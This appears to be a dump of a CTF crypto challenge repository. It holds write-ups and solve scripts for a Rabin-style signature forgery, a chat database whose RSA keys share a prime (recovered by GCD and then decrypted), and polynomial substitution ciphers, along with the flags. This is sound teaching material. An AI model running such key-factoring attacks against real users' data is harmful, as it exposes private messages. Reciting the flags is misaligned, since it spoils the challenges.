\\\\phi^5, \\\\phi^{10} \\\\}$|$K^{H_1} = \\\\mathbb{F}_{r^5}$|\\n\",\n    \"|$H_2 = \\\\{ \\\\mathrm{id}, \\\\phi^3, \\\\phi^6, \\\\phi^9, \\\\phi^{12} \\\\}$|$K^{H_2} = \\\\mathbb{F}_{r^3}$|\\n\",\n    \"|$G$|$K^G = \\\\mathbb{F}_r$ (only $\\\\mathbb{F}_r$ is fixed by all automorphisms)|\\n\",\n    \"\\n\",\n    \"From this, we can see that $\\\\mathbb{F}_{r^3}$ is fixed by $\\\\phi^3$.\\n\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"id\": \"97009ea4\",\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": []\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"SageMath 9.4\",\n   \"language\": \"sage\",\n   \"name\": \"sagemath\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.9.7\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 5\n}\n"
  },
  {
    "path": "crypto/power-sign/solve/writeup.md",
    "content": "## Challenge Overview\n\nWe are given the code running on a server that implements a signature scheme. We can ask the server to sign one message, then we are challenged to forge a signature for a random message.\n\nThe signature scheme resembles the [Rabin signature algorithm](https://en.wikipedia.org/wiki/Rabin_signature_algorithm). The public key is an RSA modulus $N = pq$ whose prime factorisation is the private key. A message $M$ is signed by first computing a _randomised hash_ $H(M, u)$ (where $u$ is random) of $M$. If $H(M, u)$ has a square root modulo $N$, a square root $x$ modulo $N$ is computed and the signature $(x, u)$ is outputted. Otherwise, we try again with a different $u$. Note that computing square roots modulo $N$, or even determining whether a number has a square root modulo $N$ is equivalent to factoring $N$. To verify a signature $(x, u)$ for the message $M$, we simply check that the equality $x^2 \\equiv H(m, u) \\pmod N$ holds.\n\nIn the challenge, the primes generated are of the form $p \\equiv 3 \\pmod 4$. This is done because if $p$ is a prime such that $p \\equiv 3 \\pmod 4$, then if a square root of $a \\in \\{ 0, \\ldots, p-1 \\}$ exists, it can be easily computed as $\\pm a^{\\frac{p+1}{4}} \\mod p$. To compute a square root of $c$ modulo $N$, we compute square roots of $c$ modulo $p$ and modulo $q$, then combine them with the Chinese Remainder Theorem.\n\n## Security of Rabin Signatures\n\nBefore we proceed, we'll take a look at an easy attack against a simplified variant of the Rabin signature algorithm. Specifically, we consider a variant that does not use a hash function at all, i.e. to sign a message $M$ the signer simply computes a square root of $M$ modulo $N$. For simplicity, we assume that all the messages to be signed actually do have square roots modulo $N$, though it does not really matter. There is one trivial attack; anyone can \"forge\" a valid signature for $M$ if $M$ is a perfect square. For example, if $M = 9$, then $x = 3$ is a valid signature since $x^2 \\equiv m \\pmod N$.\n\nMore interestingly however, it turns out that we can recover the private key given access to a signing oracle. We do this by choosing a random $x < N$ and ask the oracle to sign $x^2 \\mod N$. It returns a square root $y$ of $x^2$ modulo $N$. Now, if $y \\neq \\pm x \\pmod N$, then we have\n\n$$\n\\begin{aligned}\n    x^2 &\\equiv y^2 \\pmod N \\\\\n    \\implies x^2 - y^2 &\\equiv 0 \\pmod N \\\\\n    \\implies x^2 - y^2 &= kN \\quad \\text{for some $k$} \\\\\n    \\implies (x-y)(x+y) &= kN\n\\end{aligned}\n$$\n\nso $\\gcd(x-y, N)$ reveals a nontrivial factor of $N$.\n\n## The Hash Function\n\nThis section and the next are somewhat algebra-heavy and basic results from algebra are used without proof for brevity. It may be worthwhile to read up on finite fields, field extensions and Galois theory (for later) if they are unfamiliar concepts.\n\nWe learned the importance of a good, randomised hash function in the previous section. And more importantly, we learned that a hash function which is simply the identity map (i.e. sends any input to itself), is completely insecure. We will now take a look at the hash function in the challenge.\n\nChoose a composite integer $n$ and a proper divisor $m$ (in the challenge we have $n = 15, m = 3$). Let $r$ be the smallest prime number following $N$, where $N$ is the signer's public key. We will work in an extension field $K = \\mathbb{F}_{r^n} \\cong \\mathbb{F}_r[x]/(f)$ of $\\mathbb{F}_r$, where $f \\in \\mathbb{F}_r[x]$ is a public degree $n$ irreducible polynomial. Let $z = x + (f)$. Then $z$ generates $K$ and $\\{ 1, z, z^2, \\ldots, z^{n-1} \\}$ is basis for $K$ when viewed as an $n$-dimensional $\\mathbb{F}_r$-vector space. That is, elements in $K$ can be written in the form $a_0 + a_1 z + \\cdots + a_{n-1} z^{n-1}$ where $a_i \\in \\mathbb{F}_r$.\n\nThe randomised hash function $H$ takes as input a message $M$ and an integer $u$. Write $M$ in terms of powers of $r$:\n\n$$\nM = M_0 + M_1 r + M_2 r^2 + \\cdots + M_k r^k\n$$\n\nwhere $M_i < r$. Then, $M$ is converted to an element $h$ in $K$ by computing\n\n$$\nh = M_k + M_{k-1} z + M_{k-2} z^2 + \\cdots + M_0 z^k\n$$\n\nTo obtain the hash, the function computes $(h + uz)^{r^m}$ which we write as\n\n$$\n(h + uz)^{r^m} = a_0 + a_1 z + \\cdots + a_{n-1} z^{n-1}\n$$\n\nThe output is $a_0$.\n\n## Choosing a Message to be Signed\n\nAfter the server provides us with its public key, it prompts us to send a message to be signed. Note that (in the `sign` function) $u$ isn't chosen randomly; it starts at $1$ and increments until $H(M, u)$ is a square. There is also a peculiar restriction on the message; it has to be larger than $N^m$ and smaller than $N^n$.\n\nIf we were able to send messages of any size for the server to sign, we can easily find a message that will help us to recover the private key. Specifically, we would choose a random $s < N$ and send the message $(r - 1) + (s^2 \\mod N) r$. The hash function will convert this to $h = (s^2 \\mod N) + (r - 1)z$ and output the constant term in $(h + uz)^{r^m}$ which happens to just be $s^2 \\mod N$ since all elements $a \\in \\mathbb{F}_r$ satisfy $a^r = a$ by Fermat's Little Theorem. So when the server signs this, we have the exact same situation as the attack described two sections ago. However, the size check prevents this attack.\n\nRecall that the identity map is insecure as a hash function for the reasons given two sections ago. It turns out that our particular hash function is the identity map on a specific subset, or rather, subfield of $K$ other than $\\mathbb{F}_r$. We have\n\n$$\nH(M, u) = (h + uz)^{r^m}\n$$\n\nwhere $h$ is the element in $K$ we obtain by converting $M$. We can write this as a composition $H = f \\circ g$ where\n\n$$\ng(M, u) = h + uz \\qquad f(x) = x^{r^m}\n$$\n\nThe goal will be to find fixed points of $H$, which can be done by finding fixed points of $f$ since we can easily manipulate the result of $g(M, u)$ by carefully choosing $M$. Fixed points of $f$ satisfy\n\n$$\nf(x) = x \\implies x^{r^m} = x \\implies x^{r^m} - x = 0\n$$\n\nNote that for a finite field $E$ of order $r^m$, the elements of $E$ are given by the roots of $x^{r^m} - x$. This follows from the fact that the multiplicative group $E^\\times = E - \\{ 0 \\}$ is a cyclic group of order $r^m - 1$, so if $\\alpha \\in E$, then $\\alpha^{r^m - 1} = 1$ and so $\\alpha^{r^m} = \\alpha$. That $E^\\times$ is cyclic of order $r^m - 1$ follows from the structure theorem for finite abelian groups which states that any finite abelian group is a direct product of cyclic groups. There are a lot of references online for these results and their proofs.\n\nSo, to solve for the roots of $x^{r^m} - x$ we simply need to look at elements in the finite field $E$ of order $r^m$. Since $m$ divides $n$, then this field is actually a subfield of $K$ because if $x$ satisfies $x^{r^m} = x$, then it also satisfies\n\n$$\n\\begin{aligned}\n    x^{r^n} &= x^{r^{km}} \\\\\n            &= x^{(r^m)^k} \\\\\n            &= x^{(r^m)(r^m)^{k-1}} \\\\\n            &= (x^{r^m})^{(r^m)^{k-1}} \\\\\n            &= x^{(r^m)^{k-1}} \\\\\n            &\\quad \\vdots \\\\\n            &= x\n\\end{aligned}\n$$\n\n(and it can also be checked that $E$ actually is a field). This is good for us as it means we can write the elements in terms of $z$ which is what the server will be expecting.\n\nLet $z_E$ be a generator of $E$. Because $E$ is a subfield of $K$, then $z_E$ can be written as\n\n$$\nz_E = e_0 + e_1 z + \\cdots e_{n-1} z^{n-1}\n$$\n\nwhere $e_i \\in \\mathbb{F}_r$. Choose a random $s < N$. We will want to find an element in $K$ of the form\n\n$$\n(s^2 \\mod N) + a_1 z + \\cdots a_n z^{n-1}\n$$\n\nsuch that when $H$ is applied to this element, the constant term remains as $s^2 \\mod N$ which will be the output of the hash function. To do this, we will find an element in $E$ with $s^2 \\mod N$ as its constant term, and then subtract $z$ from it to account for the randomising value $u$ which we can predict will be $1$.\n\nThe element in $K$ we are interested in is obtained by computing\n\n$$\n(s^2 \\mod N) e_0^{-1} z_E - z = (s^2 \\mod N) + a_1 z + \\cdots + a_n z^{n-1}\n$$\n\nTo send this to the server, we encode it as an integer:\n\n$$\na_n + a_{n-1} r + \\cdots + a_1 r^{n-2} + (s^2 \\mod N) r^{n-1}\n$$\n\nThe server will compute for us a square root $y$ of $s^2 \\mod N$ and if we have $y \\neq \\pm s$, we can easily recover the private key using the technique described two sections ago.\n\nOnce we have the private key, we can use the provided functions in the handout code to sign the challenge message and capture the flag.\n\n### Easier Solution\n\nI was made aware of this by [S3v3ru5's](https://twitter.com/S3v3ru5_) solve during the CTF, but choosing the message to be signed can actually be quite simple (though fundamentally relies on most of the above theory); the idea is to shift the goal posts a bit and instead of trying to find a fixed message, we find a message whose hash is something we can control. We do this by noting that since $x^{r^n} = x$ for all $x \\in K$, then for any of our chosen $x \\in K$, if we send $x^{r^{n - m}} - zu$, then after being hashed, the result is exactly $x$. I imagine most teams would have solved this way instead of finding the subfield which is quite a bit more complicated. I obviously lacked the hindsight to spot this solution when writing the challenge, but it's pretty neat :)\n\n## Alternative Approach via Linearity Properties\n\nThis solution idea is due to [rkm0959](https://twitter.com/rkm0959) who taught me this during the CTF after he solved it. Instead of looking at the fields involved, we can simply note that the hash function has some nice linearity properties. In particular\n\n$$\nH(M, u) = H(M, 0) + u H(0, 1) \\pmod r\n$$\n\nSo to forge a signature for any given $M$, we simply let $x = 1$ and solve for $u$:\n\n$$\n\\begin{aligned}\n    x^2 &= H(M, u) \\\\\n\\implies x &= H(M, u) \\qquad \\text{since $x = 1$} \\\\\n\\implies x &= H(M, 0) + u H(0, 1) \\\\\n\\implies u &= H(0, 1)^{-1}(x - H(M, 0))\n\\end{aligned}\n$$\n\nThen, $(x, u)$ is a valid signature for $M$.\n\nThis attack doesn't need to use the signing oracle and shows that the signature scheme is completely broken when using this hash function. Pretty cool solution!\n\n## Alternative Approach via Galois Theory\n\nAlternatively, one might recognise the resemblance of the function $f$ with the Frobenius map $\\phi : K \\rightarrow K, x \\mapsto x^r$ which is an $\\mathbb{F}_r$-automorphism that generates the Galois group $G$ of $K/\\mathbb{F}_r$. Note that $G$ is cyclic and of order $n$ as $\\phi^n : K \\rightarrow K, x \\mapsto x^{r^n}$ is the identity map. The Fundamental Theorem of Galois Theory tells us that there is a one-to-one correspondence between the subgroups of the Galois group of $K$, and the intermediate fields of $K$. Explicitly, for a given subgroup $H$ of $G$, the corresponding intermediate field of $K$ is given by the fixed field $K^H$, the set of all elements in $K$ which are fixed by all of the maps in $H$. Another result, sometimes known as the Fixed Field Theorem, tells us that the order of $H$ is equal to the degree of $K$ as an extension of $K^H$. We use this, along with the fact that the subfields of $K$ are given by $\\mathbb{F}_{r^d}$ where $d$ divides $n$, to find the fixed fields.\n\nIn the challenge, we have $n = 15$, so the Galois group $G$ is isomorphic to $\\mathbb{Z}/15\\mathbb{Z}$. The table below lists out the subgroups of $G$ and their corresponding intermediate fields ($\\mathrm{id}$ denotes the identity map):\n\n|Subgroup of $G$|Intermediate Field of $K$|\n|---|---|\n|$H_0 = \\{ \\mathrm{id} \\}$|$K^{H_0} = K$ (all elements are fixed by $\\mathrm{id}$)|\n|$H_1 = \\{ \\mathrm{id}, \\phi^5, \\phi^{10} \\}$|$K^{H_1} = \\mathbb{F}_{r^5}$|\n|$H_2 = \\{ \\mathrm{id}, \\phi^3, \\phi^6, \\phi^9, \\phi^{12} \\}$|$K^{H_2} = \\mathbb{F}_{r^3}$|\n|$G$|$K^G = \\mathbb{F}_r$ (only $\\mathbb{F}_r$ is fixed by all automorphisms)|\n\nFrom this, we can see that $\\mathbb{F}_{r^3}$ is fixed by $\\phi^3$.\n"
  },
  {
    "path": "crypto/secuchat/README.md",
    "content": "# Secuchat\n\n**Category:** crypto\n\n**Difficulty:** medium\n\n**Author:** nullableVoid\\*#7225\n\n\"With end-to-end encryption facilitated by military-grade RSA2048-OAEP and user-generated AES-256-CBC keys, rest assured that Secuchat has your conversations and secrets obscured from prying eyes.\"\n\nShame their DB got dumped. See if you can glean anything.\n\n**Attached files:**\n- secuchat.db (sha256: cc4d0ee9c26cd173d53d0ad2d00e40f7c8ee637141ddc60f65cc853e7f86ed40)\n\n"
  },
  {
    "path": "crypto/secuchat/challenge.yml",
    "content": "version: \"0.1\"\nid: secuchat\nname: Secuchat\ncategory: crypto\ndescription: >\n  \"With end-to-end encryption facilitated by military-grade RSA2048-OAEP and user-generated AES-256-CBC keys, rest assured that Secuchat has your conversations and secrets obscured from prying eyes.\"\n\n\n  Shame their DB got dumped. See if you can glean anything.\n\n\n  Author: nullableVoid*#7225 \n\ntags:\n  - medium\n\nfiles:\n  - ./publish/secuchat.db\n\nflags:\n  - DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!}\n"
  },
  {
    "path": "crypto/secuchat/solve/attack.py",
    "content": "#!/usr/bin/env python\nimport sys\nimport sqlite3\nimport itertools\nfrom math import gcd\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import PKCS1_OAEP\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\ndb = sys.argv[1] if len(sys.argv) > 1 else './publish/secuchat.db'\ncur = (conn := sqlite3.connect(db)).cursor()\n\ncur.execute(\"SELECT * FROM User;\")\nusers = [(name, RSA.importKey(k)) for name, k in cur]\nfor (an, ak), (bn, bk) in itertools.combinations(users, 2):\n    if (p := gcd(ak.n, bk.n)) > 1:\n        break\n\nprint(an, bn)\nak = RSA.construct((ak.n, 65537, pow(65537, -1, (p - 1) * ((q := (ak.n // p)) - 1)), p, q))\nbk = RSA.construct((bk.n, 65537, pow(65537, -1, (p - 1) * ((q := (bk.n // p)) - 1)), p, q))\n\n\nfor user, rsa_key in [(an, ak), (bn, bk)]:\n    oaep = PKCS1_OAEP.new(rsa_key)\n    cur.execute('''\n        SELECT\n            Conversation.id,\n            initiator,\n            peer,\n            encrypted_aes_key_for_initiator,\n            encrypted_aes_key_for_peer,\n            iv\n        FROM Conversation\n        INNER JOIN Parameters\n            ON Parameters.id = Conversation.initial_parameters\n        WHERE initiator = ? OR peer = ?;\n    ''', (user, user))\n\n    for cid, initiator, peer, initiator_key, peer_key, iv in cur.fetchall():\n        print(f\"{cid}: {initiator} & {peer}\")\n        attribute = \"\"\n        aes = None\n        if initiator == user:\n            attribute = \"encrypted_aes_key_for_initiator\"\n            aes = AES.new(oaep.decrypt(initiator_key), AES.MODE_CBC, iv=iv)\n        else:\n            attribute = \"encrypted_aes_key_for_peer\"\n            aes = AES.new(oaep.decrypt(peer_key), AES.MODE_CBC, iv=iv)\n\n        cur.execute('''\n        SELECT\n            encrypted_message,\n            from_initiator,\n        ''' + f\"{attribute}, \" + '''\n            iv\n        FROM Message\n        INNER JOIN Parameters\n            ON Parameters.id = next_parameters\n        WHERE conversation = ?\n        ORDER BY\n            timestamp ASC;\n        ''', (cid,))\n        for message, from_initiator, key, iv in cur.fetchall():\n            print(f\"{[peer, initiator][from_initiator]}:\", message := unpad(aes.decrypt(message), AES.block_size).decode())\n            if \"DUCTF\" in message:\n                break\n\n            aes = AES.new(oaep.decrypt(key), AES.MODE_CBC, iv=iv)\n        if \"DUCTF\" in message:\n            break\n\n    if \"DUCTF\" in message:\n        break\n\nconn.close()\n"
  },
  {
    "path": "crypto/secuchat/solve/writeup.md",
    "content": "# Solution\nSift through combinations of the population of RSA keys until a common prime is found (this is improbable in the wild, but is infinitely easier than factoring, see [Ron was wrong, Whit is right](https://eprint.iacr.org/2012/064.pdf).\n\nFrom the challenge description and database schema infer the crypto scheme used in the chat, that is, shared keys for AES-256-CBC encrypted with RSA and OAEP.\n\nDecrypt the messages one by one until the flag is found.\n"
  },
  {
    "path": "crypto/secuchat/src/flag.txt",
    "content": "DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!}\n"
  },
  {
    "path": "crypto/secuchat/src/generate.py",
    "content": "import sys\nfrom faker import Faker\nimport sqlite3\nimport random\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Util.number import getStrongPrime\nfrom Crypto.Random import get_random_bytes\nfrom Crypto.Cipher import AES\nfrom Crypto.Cipher import PKCS1_OAEP\nfrom Crypto.Util.Padding import pad\nfrom datetime import datetime\n\nFLAG = open(\"flag.txt\", \"r\").read().strip()\n\ncursor = (conn := sqlite3.connect(sys.argv[1])).cursor()\n\nfake = Faker('en_AU')\n\nrandom_keys = [(fake.user_name(), RSA.generate(2048)) for i in range(29)]\n\ncommon = random.choice(random_keys)[1].p\nq = getStrongPrime(1024)\nvulnerable = (fake.user_name(), RSA.construct((\n    common * q,\n    65537,\n    pow(65537, -1, (common - 1) * (q - 1)),\n    common,\n    q\n)))\n\ncursor.executescript('''\n    CREATE TABLE User (\n        username TEXT PRIMARY KEY,\n        rsa_key BLOB\n    );\n\n    CREATE TABLE Parameters (\n        id INTEGER PRIMARY KEY AUTOINCREMENT,\n        encrypted_aes_key_for_initiator BLOB,\n        encrypted_aes_key_for_peer BLOB,\n        iv BLOB\n    );\n\n    CREATE TABLE Conversation (\n        id INTEGER PRIMARY KEY AUTOINCREMENT,\n        initiator TEXT,\n        peer TEXT,\n        initial_parameters INTEGER,\n        FOREIGN KEY (initiator) REFERENCES User(username),\n        FOREIGN KEY (peer) REFERENCES User(username),\n        FOREIGN KEY (initial_parameters) REFERENCES Parameters(id),\n        UNIQUE(initiator, peer)\n    );\n\n    CREATE TABLE Message (\n        conversation INTEGER,\n        timestamp INTEGER,\n        from_initiator BOOL,\n        next_parameters INTEGER,\n        encrypted_message BLOB,\n        FOREIGN KEY (conversation) REFERENCES Conversation(id),\n        FOREIGN KEY (next_parameters) REFERENCES Parameters(id)\n    );\n''')\n\n\ncursor.executemany('''\n    INSERT INTO User(username, rsa_key) VALUES (?, ?);\n''', [(u, k.publickey().exportKey(\"DER\")) for u, k in random.sample(random_keys + [vulnerable], len(random_keys) + 1)])\nprint(\"Generated users\")\n\nall_keys = dict(random_keys + [vulnerable])\n\ndef insert_parameters(encrypted_for_initiator, encrypted_for_peer, iv):\n    cursor.execute('''\n        INSERT INTO Parameters(encrypted_aes_key_for_initiator, encrypted_aes_key_for_peer, iv) VALUES (?, ?, ?);\n    ''', (encrypted_for_initiator, encrypted_for_peer, iv))\n    cursor.execute('''\n        SELECT id FROM Parameters WHERE rowid = ?;\n    ''', (cursor.lastrowid,))\n    return cursor.fetchone()[0]\n\n\ndef new_conversation(initiator, peer, messages, timestamp):\n    initiator_oaep = PKCS1_OAEP.new(all_keys[initiator])\n    peer_oaep = PKCS1_OAEP.new(all_keys[peer])\n    key = get_random_bytes(32)\n    iv = get_random_bytes(16)\n    cursor.execute('''\n        INSERT INTO Conversation(initiator, peer, initial_parameters) VALUES (?, ?, ?);\n    ''', (initiator, peer, insert_parameters(initiator_oaep.encrypt(key), peer_oaep.encrypt(key), iv)))\n    cursor.execute('''\n        SELECT id FROM Conversation WHERE rowid = ?;\n    ''', (cursor.lastrowid,))\n    conversation_id = cursor.fetchone()[0]\n    timestamp += random.randint(1, 100)\n    result = []\n    for message in messages:\n        encrypted = AES.new(key, AES.MODE_CBC, iv=iv).encrypt(pad(message[1].encode(), AES.block_size))\n        key = get_random_bytes(32)\n        iv = get_random_bytes(16)\n        result.append((\n            conversation_id,\n            timestamp,\n            message[0],\n            insert_parameters(initiator_oaep.encrypt(key), peer_oaep.encrypt(key), iv),\n            encrypted\n        ))\n        timestamp += random.randint(2, 20)\n\n    return result\n\nall_messages = []\n\nnow = int(datetime.now().timestamp())\n\nfor i in range(45):\n    initiator, peer = random.sample(list(all_keys.keys()), 2)\n    while True:\n        cursor.execute('''\n            SELECT COUNT(1) FROM Conversation WHERE (initiator = ? AND peer = ?) OR (peer = ? AND initiator = ?);\n        ''', (initiator, peer, initiator, peer))\n        if cursor.fetchone()[0] == 0:\n            break\n        initiator, peer = random.sample(list(all_keys.keys()), 2)\n\n    all_messages += new_conversation(initiator, peer, [(bool(random.getrandbits(1)), fake.sentence()) for i in range(random.randint(4, 10))], now)\n\ninitiator = vulnerable[0]\npeer = random.choice(list(all_keys.keys()))\nwhile True:\n    cursor.execute('''\n        SELECT COUNT(1) FROM Conversation WHERE (initiator = ? AND peer = ?) OR (peer = ? AND initiator = ?);\n    ''', (initiator, peer, initiator, peer))\n    if cursor.fetchone()[0] == 0:\n        break\n    peer = random.choice(list(all_keys.keys()))\n\nall_messages += new_conversation(initiator, peer, [\n    (True, f\"hey {fake.sentence()}\"),\n    (False, f\"hey {fake.sentence()}\"),\n    (True, f\"here's the flag btw {fake.sentence()}\"),\n    (True, f\"{FLAG} {fake.sentence()}\"),\n    (False, f\"cheers {fake.sentence()}\"),\n], now)\n\ncursor.executemany('''\n    INSERT INTO Message(conversation, timestamp, from_initiator, next_parameters, encrypted_message) VALUES (?, ?, ?, ?, ?);\n''', all_messages)\n\nconn.commit()\n\nconn.close()\n"
  },
  {
    "path": "crypto/substitution-cipher-i/README.md",
    "content": "# Substitution Cipher I\n\n**Category:** crypto\n\n**Difficulty:** beginner\n\n**Author:** joseph#8210\n\nJust a simple substitution cipher to get started...\n\n**Attached files:**\n- ./challenge/substitution-cipher-i.sage (sha256: 2c6a139f53f9176129502d6c064bd91c633ba7144170b761cf6f43c82e978dc0)\n- ./challenge/output.txt (sha256: 2e486d6bb275404c56bbbb0bcbcbb04a3f5338b6a59590675e5941f2514e9b20)\n"
  },
  {
    "path": "crypto/substitution-cipher-i/challenge/flag.txt",
    "content": "DUCTF{sh0uld'v3_us3d_r0t_13}\n"
  },
  {
    "path": "crypto/substitution-cipher-i/challenge/output.txt",
    "content": "𖿫𖝓玲𰆽𪃵𢙿疗𫢋𥆛🴃䶹𬑽蒵𜭱𫢋𪃵蒵🴃𜭱𩕑疗𪲳𜭱窇蒵𱫳\n"
  },
  {
    "path": "crypto/substitution-cipher-i/challenge/substitution-cipher-i.sage",
    "content": "def encrypt(msg, f):\n    return ''.join(chr(f.substitute(c)) for c in msg)\n\nP.<x> = PolynomialRing(ZZ)\nf = 13*x^2 + 3*x + 7\n\nFLAG = open('./flag.txt', 'rb').read().strip()\n\nenc = encrypt(FLAG, f)\nprint(enc)\n"
  },
  {
    "path": "crypto/substitution-cipher-i/challenge.yml",
    "content": "version: \"0.1\"\nid: substitution-cipher-i\nname: Substitution Cipher I\ncategory: crypto\ndescription: |\n  Just a simple substitution cipher to get started...\n\n  Author: joseph#8210\n\ntags:\n  - beginner\n\nfiles:\n  - ./challenge/substitution-cipher-i.sage\n  - ./challenge/output.txt\n\nflags:\n  - DUCTF{sh0uld'v3_us3d_r0t_13}\n"
  },
  {
    "path": "crypto/substitution-cipher-i/solve/solve.sage",
    "content": "P.<x> = PolynomialRing(ZZ)\nf = 13*x^2 + 3*x + 7\n\nenc = open('../challenge/output.txt', 'r').read().strip()\nflag = ''\nfor c in enc:\n    p = (f - ord(c)).roots()[0][0]\n    flag += chr(p)\nprint(flag)\n"
  },
  {
    "path": "crypto/substitution-cipher-i/solve/test.sh",
    "content": "#!/bin/sh\n\nTMPDIR=`mktemp -d`\n\ncp -r /work/challenge /work/solve \"$TMPDIR\"\ncd \"$TMPDIR/solve\"\nsage solve.sage\n"
  },
  {
    "path": "crypto/substitution-cipher-i/solve/writeup.md",
    "content": "The encryption used in the challenge is indeed a simple substitution cipher in disguise. If the text was longer and closer to English, it could be cracked with frequency analysis since each character is encrypted individually and independently of each other.\n\nA plaintext character `m` is encrypted by evaluating it at a public polynomial `f(x) = 13x^2 + 3x + 7`. For example, to encrypt the character \"a\" (whose ASCII value is 97) we would compute \n```\nf(97) = 13*(97^2) + 3*97 +7 = 122615\n```\n\nThe entire message is encrypted by encrypting each character in this way.\n\nNow suppose we are given a ciphertext value `c`. The goal is to find its corresponding plaintext character `x`. We can represent this mathematically as `f(x) = c`, so plugging in the values, we get\n\n```\n13x^2 + 3x + 7 = 122615\n```\n\nso\n\n```\n13x^2 + 3x + 7 - 122615 = 0\n```\n\nWhich is just a quadratic equation that can be solved using the quadratic formula. In particular, we get\n\n```\nx = (-3 ± sqrt(9 - 4*13*(-122608)))/(2*13)\n  = -97.23077 or 97\n```\n\nSince we are only interested in positive, integer solutions, we conclude that `x = 97`. Doing this for each character in the ciphertext, we can recover the flag.\n\nSageMath provides a nice [method](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/polynomial_element.html#sage.rings.polynomial.polynomial_element.Polynomial.roots) for solving for the roots of polynomials which is used in the solve script:\n\n```py\nP.<x> = PolynomialRing(ZZ)\nf = 13*x^2 + 3*x + 7\n\nenc = open('../challenge/output.txt', 'r').read().strip()\nflag = ''\nfor c in enc:\n    p = (f - ord(c)).roots()[0][0]\n    flag += chr(p)\nprint(flag)\n```\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/README.md",
    "content": "# Substitution Cipher II\n\n**Category:** crypto\n\n**Difficulty:** easy\n\n**Author:** joseph#8210\n\nThat's an interesting looking substitution cipher...\n\n**Attached files:**\n- ./challenge/substitution-cipher-ii.sage (sha256: 7491cc5c853cd92c6adf836baad2cf66df84032e76f5603c5008e4681e705f79)\n- ./challenge/output.txt (sha256: a77979287fadd1547a84af88a84e78f32fa35d10a671060ec934ac8236e2b8d3)\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/challenge/flag.txt",
    "content": "DUCTF{go0d_0l'_l4gr4ng3}\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/challenge/output.txt",
    "content": "Ujyw5dnFofaou0au3nx3Cn84\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/challenge/substitution-cipher-ii.sage",
    "content": "from string import ascii_lowercase, digits\nCHARSET = \"DUCTF{}_!?'\" + ascii_lowercase + digits\nn = len(CHARSET)\n\ndef encrypt(msg, f):\n    ct = ''\n    for c in msg:\n        ct += CHARSET[f.substitute(CHARSET.index(c))]\n    return ct\n\nP.<x> = PolynomialRing(GF(n))\nf = P.random_element(6)\n\nFLAG = open('./flag.txt', 'r').read().strip()\n\nenc = encrypt(FLAG, f)\nprint(enc)\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/challenge.yml",
    "content": "version: \"0.1\"\nid: substitution-cipher-ii\nname: Substitution Cipher II\ncategory: crypto\ndescription: |\n  That's an interesting looking substitution cipher...\n\n  Author: joseph#8210\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/substitution-cipher-ii.sage\n  - ./challenge/output.txt\n\nflags:\n  - DUCTF{go0d_0l'_l4gr4ng3}\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/solve/solve.sage",
    "content": "from string import ascii_lowercase, digits\n\nCHARSET = 'DUCTF{}_!?\\'' + ascii_lowercase + digits\nn = len(CHARSET)\n\ndef to_num(c):\n    return CHARSET.index(c)\n\ndef to_chr(x):\n    return CHARSET[x]\n\nenc = open('../challenge/output.txt', 'r').read().strip()\n\nP.<x> = PolynomialRing(GF(n))\n\nknown_pt = 'DUCTF{}'\nknown_ct = enc[:6] + enc[-1]\npairs = [(to_num(p), to_num(c)) for p,c in zip(known_pt, known_ct)]\nf = P.lagrange_polynomial(pairs)\n\n# get the possible plaintext character for each ciphertext character\npossible_chars = []\nfor c in enc:\n    possible = (f - to_num(c)).roots()\n    possible = [to_chr(p[0]) for p in possible]\n    possible_chars.append(possible)\n\n# get all combinations of possible plaintext characters\npossible_flags = []\nfor p in cartesian_product(possible_chars):\n    possible_flags.append(''.join(p))\n\nprint('Possible Flags:')\nprint('\\n'.join(possible_flags))\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/solve/test.sh",
    "content": "#!/bin/sh\n\nTMPDIR=`mktemp -d`\n\ncp -r /work/challenge /work/solve \"$TMPDIR\"\ncd \"$TMPDIR/solve\"\nsage solve.sage\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/solve/writeup.md",
    "content": "This challenge is a sequel to \"Substitution Cipher I\". We have a similar situation as with the first challenge, except instead of a function over the integers, we work over a finite field `GF(n)`, which for the purposes of this challenge, we can think of as basically a subset of the integers where addition and multiplication are done modulo `n`. Another difference is that the polynomial `f` is not given, and it is of degree 6. Each coefficient of `f` can be any integer in the range `0, 1, ..., n`, and since there are 7 coefficients, there can be up to `n^7` different possibilities for `f`. In the challenge, `n = 47`, so searching `n^7` possibilities would be unreasonable.\n\nInstead, we can use the fact that a polynomial of degree `d` is uniquely determined by `d+1` points that lie on it. We know that the flag is of the form `DUCTF{...}` so we have exactly 7 known points on the curve! We can use a technique known as [Lagrange interpolation](https://en.wikipedia.org/wiki/Lagrange_polynomial) to recover the polynomial (SageMath has a method for this too!). We find that the polynomial is\n\n```\nf(x) = 41x^6 + 15x^5 + 40x^4 + 9x^3 + 28x^2 + 27x + 1\n```\n\nNow we can use a similar idea to the previous challenge and find possible plaintext characters for each ciphertext character `c` by finding the roots of `f(x) - c`. However, in this case, there may be many solutions in the range `0, 1, ..., n`. It turns out that the total number of possible flags is not that high, so we can look through all of them and choose the one that seems most fitting (or just try submitting all of them). The possible flags that we find (excluding the ones that don't fit flag format) 